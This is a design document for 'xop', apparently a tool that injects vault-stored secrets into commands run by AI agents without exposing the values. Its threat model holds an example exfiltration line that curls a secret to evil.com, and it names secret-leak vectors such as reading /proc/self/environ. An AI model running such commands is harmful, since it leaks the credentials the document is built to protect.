19 KiB
xop · Design Document
Status: v0.2.1 implemented (2026-10-02). Self-contained encrypted vault, no external backend dependencies. Unlock: OS auth gate first, then file keyring (
~/.xop/keyring, 0600) or typed passphrase — deliberately NOT the macOS Keychain (rejected 2026-10-02: system dialogs during automation).
1. Problem statement
AI agents (Claude Code, Cursor, OpenAI Operator, anything that runs bash) must execute real tools to be useful. Real tools need real credentials. But every existing credential-flow forces the agent to:
- Read the secret into its context window — the plaintext enters the LLM provider's logs, training pipelines, screenshots, error reports.
- Pass the secret as a CLI arg or env var that the agent itself reads — the secret lives in the agent's process memory, recoverable via debuggers or core dumps.
- Repeat the authorization for every operation — UX death by a thousand "approve this?" prompts.
The result is a worst-of-both-worlds: secrets leak into places they shouldn't, AND the user is asked to re-approve constantly.
Core invariant we want: the AI agent must never observe a secret value. It only ever sees references (bare key names like db_pass). Real values live for <1ms in xop's memory, are passed into the child process at execve() time via envp, and are scrubbed from every persistent layer (logs, audit, history).
2. Design principles
| # | Principle | Concretely means |
|---|---|---|
| P1 | References, not values, cross trust boundaries | LLM API call bodies, IPC payloads, audit logs, and shell history contain only bare key names (DB_PASS, db_pass). |
| P2 | One-shot memory lifetime | Real values live in the parent process only between Vault::get() and execve(). After execve returns, parent memory is zeroized (rpassword + zeroize crate). |
| P3 | Defense in depth at every layer | Independent guards: argv parse → OS auth (Touch ID gate) → keyring-or-passphrase unlock → envp inject → stdout mask (12****【xop禁止将密钥泄漏】) → network policy. Each fails closed independently. |
| P4 | Deno-style permission DSL | --allow-net=, --deny-net=, --allow-read=, --deny-read= — same model proven in production by Deno runtime. |
| P5 | Self-contained vault, no external CLIs | xop owns its own encrypted vault at ~/.xop/key.db (AES-256-GCM, argon2id KDF). No op/vault/security subprocesses to verify, no per-resolve spawn overhead, no metadata leaked to ps. |
| P6 | Refuse to do the wrong thing | Any command that itself would print the secret (e.g. echo $DB_PASS, `env |
| P7 | Boring infrastructure, hot path | xop itself is <5MB static binary, no daemon, no server. Single fork+execve per command, returns child's exit code. |
3. Command surface
xop # banner + 5 examples (no panic, no error)
xop -h | --help | help # full help w/ subcommands + exec examples
xop init # first-run: prompt passphrase × 2, create ~/.xop/key.db
xop set KEY # Touch ID → read stdin → encrypt → write
xop list # Touch ID → enumerate keys (name + created_at, no values)
xop get KEY [-v|--value] # Touch ID → print value MASKED by default (first 2 chars +
# ****【xop禁止将密钥泄漏】); -v prints plaintext for HUMAN
# inspection only (agents must use `xop run` injection)
xop rm KEY # Touch ID → delete key (--force to skip confirm)
xop key [--save|--remove] # manage ~/.xop/keyring auto-unlock key (0600 file, NOT Keychain)
xop [flags] -- CMD [args] # exec mode (inject into child process)
Exec-mode flags (existing, mostly kept):
-s, --secret KEY=NAME # NAME = bare key name in vault, injected as env KEY
--secrets-file PATH # bulk-load KEY=NAME pairs
--allow-net=HOSTS # allow child to make outbound network
--deny-net=HOSTS # always-deny (beats allow)
--allow-read=PATHS # allow child to read paths
--deny-read=PATHS # always-deny read (beats allow)
--on-leak=mask|kill|refuse # stdout action on secret pattern
--mask-pattern=REGEX # extra regex to mask in child stdout/stderr
--dry-run # print effective policy; never exec
--audit=PATH # default: ~/.xop/audit.jsonl
--no-color # suppress color in output
REMOVED in v0.2: --backend (no longer meaningful — single local vault).
Exit codes:
- 0 success
- 64 EX_USAGE — bad flags, missing command, bad ref
- 69 EX_UNAVAILABLE — vault unreadable
- 73 EX_CANTCREAT — can't open audit log
- 77 EX_NOPERM — auth cancelled, wrong passphrase, key not found, leak-killed
- 78 EX_CONFIG — vault corrupt or missing init
- 79 EX_SECURITY — secret leak detected and
--on-leak=kill|refuse - 130 child received SIGINT
4. Architecture
┌──────────────────────────────────────────────────────────────────────────┐
│ xop process │
│ │
│ args::Args ◄── clap parse (src/args.rs) │
│ │ │
│ ├─ subcommand? ─► commands::{init,set,list,get,rm,key}::run() │
│ │ ├─ auth::authenticate() (Touch ID gate) │
│ │ ├─ keyring::load() ∨ rpassword::prompt() │
│ │ │ (0600 file key → silent; else passphrase) │
│ │ └─ vault::{open,get,set,...}() │
│ │ │
│ └─ exec mode ─► run_exec() │
│ │ │
│ ▼ │
│ SecretRef[] (src/secret.rs) ──► bare "KEY=NAME" pairs │
│ │ │
│ ▼ │
│ policy::Policy (src/policy.rs) │
│ │ ├── net: NetPolicy { allow, deny } │
│ │ ├── read: ReadPolicy { allow, deny } │
│ │ └── leak: Mask | Kill | Refuse │
│ │ │
│ ▼ │
│ vault::resolve_all(refs) ─► auth → keyring ∨ passphrase → decrypt │
│ │ (single local vault, no subprocess) │
│ │ key: ~/.xop/keyring (0600) or argon2id(passphrase, salt) │
│ │ cipher: AES-256-GCM(key, nonce, plaintext) │
│ ▼ │
│ injector::plan + build_envp_delta (src/injector.rs) │
│ │ ├── Envp (default: KEY=VALUE) │
│ │ ├── Askpass (SSH_ASKPASS — P1) │
│ │ └── Fd (P1) │
│ ▼ │
│ tokio::process::Command spawn with: │
│ - argv = scrubbed command line (refs unchanged, never values) │
│ - envp = parent_env + envp_delta │
│ - pre_exec: setrlimit(RLIMIT_CORE, 0, 0) (no core dumps) │
│ - stdout/stderr = piped through guard/stdout.rs │
│ - stdin = inherited from parent │
│ │ │
│ ▼ │
│ waitpid() ─► exit code propagated │
│ │
│ Throughout: audit::AuditLog appends ref-only events to ~/.xop/audit.jsonl
└──────────────────────────────────────────────────────────────────────────┘
5. Reference syntax (the secret grammar)
5.1 On the command line
# Explicit injection flag — preferred
xop --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- mysql ...
# Both halves of KEY=NAME refer to vault keys (no scheme prefix in v0.2).
# KEY = env var name to inject; NAME = key in ~/.xop/key.db.
# They are usually the same string, but can differ when mapping multiple env names.
Why bare keys (no scheme): v0.1 had op:// / vault:// / keychain:// schemes, which leaked which external backend was in use (metadata). v0.2 collapses to a single local vault — the ref is just the key name.
5.2 In --secrets-file
# .env.xop (safe to commit)
DB_HOST="db.prod.example.com"
DB_USER="readonly"
DB_PASS="db_pass"
SSH_KEY="ssh_key"
Lines starting with # are comments; empty lines ignored.
6. Vault file format (~/.xop/key.db)
Binary, fixed-position header for cheap parsing:
[4B magic = "XOP\1"]
[4B version = 0x0000_0001]
[16B salt = argon2id salt (random per vault)]
[12B nonce = AES-GCM nonce (random per save)]
[NB ciphertext = AES-256-GCM(key, nonce, plaintext)]
[16B tag = AES-256-GCM auth tag]
Plaintext (after decrypt) = UTF-8 TOML:
"DB_PASS" = "hunter2"
"API_KEY" = "sk-live-..."
Each set / rm rewrites the entire file (re-randomizes nonce). Vault size ≈ sum of values + ~80 bytes. Write is atomic: tmp + rename to survive partial writes.
7. Authentication flow
┌─────────────────────────────────────────────────────────────────────┐
│ init │
│ no pre-gate (first-run; nothing to protect yet) │
│ prompt passphrase × 2 (confirm) │
│ generate salt + nonce + empty entries │
│ write vault atomically (tmp + rename) │
│ write keyring atomically (~/.xop/keyring, 0600, hex key) │
└─────────────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────────────┐
│ set / list / get / rm / run (exec mode) │
│ 1. Pre-gate (OS-level): ALWAYS FIRST — its verdict gates keyring │
│ local TTY (no SSH_* env): macOS LAContext │
│ evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)│
│ — REAL fingerprint prompt, NO password field │
│ · pass → AllowKeyring (silent keyring OK) │
│ · cancel/refuse (LAError -128/-5/-12/unknown) │
│ → AuthCancelled, exit 77, op ABORTS │
│ · no usable biometrics (-7/-8/-10/-11/-1008/...)/broken │
│ → RequirePassphrase (keyring NOT consulted) │
│ SSH session (SSH_TTY/SSH_CONNECTION/SSH_CLIENT): never │
│ attempt biometrics (the dialog would pop on the local │
│ console where the remote user can't see it) │
│ → RequirePassphrase — user types the xop passphrase │
│ Linux interactive: no biometric gate exists; system password │
│ forbidden by design → RequirePassphrase │
│ headless / non-TTY (agent/pipe/CI, `ssh host cmd` w/o pty): │
│ gate skipped → AllowKeyring — this is the automation │
│ path that makes `xop run` unattended │
│ │
│ 2. Unlock key source: │
│ keyring::load() → Some(key) (file ~/.xop/keyring, 0600) │
│ · mode&0o077 != 0 or non-hex → REFUSED (error) │
│ · XOP_NO_KEYRING=1 → skip file, go to prompt │
│ → silent; `xop run` works unattended (issue #3) │
│ None → rpassword::prompt_password("Vault password: ") │
│ → derive key = argon2id(passphrase, vault_salt) │
│ (NOT macOS Keychain — rejected 2026-10-02: system dialogs │
│ during automation; xop never calls security(1)) │
│ │
│ 3. AES-GCM decrypt → operate → AES-GCM re-encrypt (set/rm) │
│ │
│ 4. Zeroize passphrase buffer (zeroize crate, drop guard) │
└─────────────────────────────────────────────────────────────────────┘
Defense in depth: the OS gate verifies who you are; the unlock secret unlocks what's stored. Critically, the keyring is only consulted after identity has been positively established — a live biometric pass on the local console, or a headless automation context (no TTY). In an SSH session or on a machine without usable biometrics the gate returns RequirePassphrase and the user must type the xop passphrase ("管理员密码"); the keyring file is not read at all there. (User rules 2026-10-02: 能探测硬件指纹身份就行;任何时候不要让用户输入系统密码;SSH 与无指纹设备应输管理员密码.) xop key --remove revokes the keyring instantly.
Bypass: XOP_AUTH_BYPASS=1 env var skips the pre-gate for CI/headless tests. The unlock secret (keyring or passphrase) is still required to decrypt the vault — bypass never decrypts. And the passphrase itself can NEVER come from an env var in a release binary (XOP_VAULT_PASSWORD is #[cfg(feature = "test-bypass")]-gated; verify: strings target/release/xop | grep XOP_VAULT_PASSWORD → empty).
8. Threat model (summary; see threat-model.md for full)
| Threat | Mitigation | Layer |
|---|---|---|
| LLM provider logs secret in request body | Bare key names only, never values | argv parse |
Secret in ps e / /proc/PID/environ |
argv = ref text, values only in child's envp | exec |
Child echo $SECRET prints to stdout |
stdout pipe filter regex | runtime |
Child curl -d "$SECRET" https://evil.com |
--deny-net=* --allow-net=whitelist |
network policy (stub P2) |
Child reads /proc/self/environ |
--deny-read defaults |
file policy (stub P2) |
| Core dump leaks envp | RLIMIT_CORE=0 in child pre_exec |
OS |
| Audit log leaks values | Type system: AuditEvent has no value field |
type |
| Vault file stolen off disk | AES-256-GCM + argon2id passphrase | at-rest |
| Attacker bypasses Touch ID | Unlock secret (keyring/passphrase) still required | two-factor |
| Keyring file stolen | 0600 enforced (load refuses bad mode); instant revoke xop key --remove |
accepted tradeoff (threat-model T13) |
9. Non-goals (v0.2)
- ❌ External backend integration (1Password, Vault, Keychain) — explicitly removed in v0.2. Use those tools directly if you want them.
- ❌ Agent SDK / library mode (
use xop::exec(...)) — CLI-only. - ❌ Windows support — macOS + Linux only initially.
- ❌ Network proxy as fallback policy — prefer real OS-level enforcement (pf/iptables); http_proxy as future fallback.
- ❌ GUI confirmation prompts — policy is declared upfront; interactive prompts come later.
- ❌ Multi-user vaults / shared secrets — single-user local-only.
10. Compatibility with existing ecosystem
| Tool | Relationship to xop |
|---|---|
| secret-agent | Closest peer: self-contained vault, single machine. xop adds (1) OS-level auth gate (real Touch ID, biometrics-only) before passphrase, (2) Deno-style permission flags, (4) LLM-aware guards (--on-leak=refuse). secret-agent is template-based (env template string); xop is flag-based. |
1Password op run |
No integration in v0.2. If you already have 1Password set up and want zero infra, use op run — but it doesn't have network/file policy enforcement or Touch ID gate. |
| HashiCorp Vault Agent | Sidecar model; xop is fork-style. No integration. |
| Deno permission | Conceptual debt only — Deno governs its own runtime; xop governs foreign Unix processes via OS primitives. |
| macOS Keychain | Rejected 2026-10-02 (implemented once, then removed — security(1) popped system authorization dialogs mid-automation; user veto). xop stores nothing in Keychain and never calls security(1). Unlock-key storage = plain file ~/.xop/keyring (0600). |
11. Implementation phases
| Phase | Scope | Status |
|---|---|---|
| 0 — Skeleton | All modules stubbed, clap schema complete, dry-run works | ✅ v0.1 |
| 1 — Local vault + auth gate | init/set/list/get/rm + Touch ID gate + argon2id + AES-GCM + spawn pipeline |
✅ v0.2 |
| 1.5 — Unattended unlock + leak masking | file keyring (xop key), OS gate always first, set partial-mask echo, stdout guard real filter + kill/refuse |
✅ v0.2.1 |
| 2 — Network policy | macOS pf integration, Linux iptables owner |
⏳ P1 |
| 3 — File policy | macOS sandbox-exec profile, Linux landlock |
⏳ P1 |
| 4 — Askpass injection | SSH_ASKPASS strategy + DISPLAY=:0 + SSH_ASKPASS_REQUIRE=force |
⏳ P1 |
| 5 — Library mode | pub use xop::exec(...) for embedding in agents (e.g. xstudio) |
⏳ v0.3 |
See HANDOFF.md for the next-session checklist.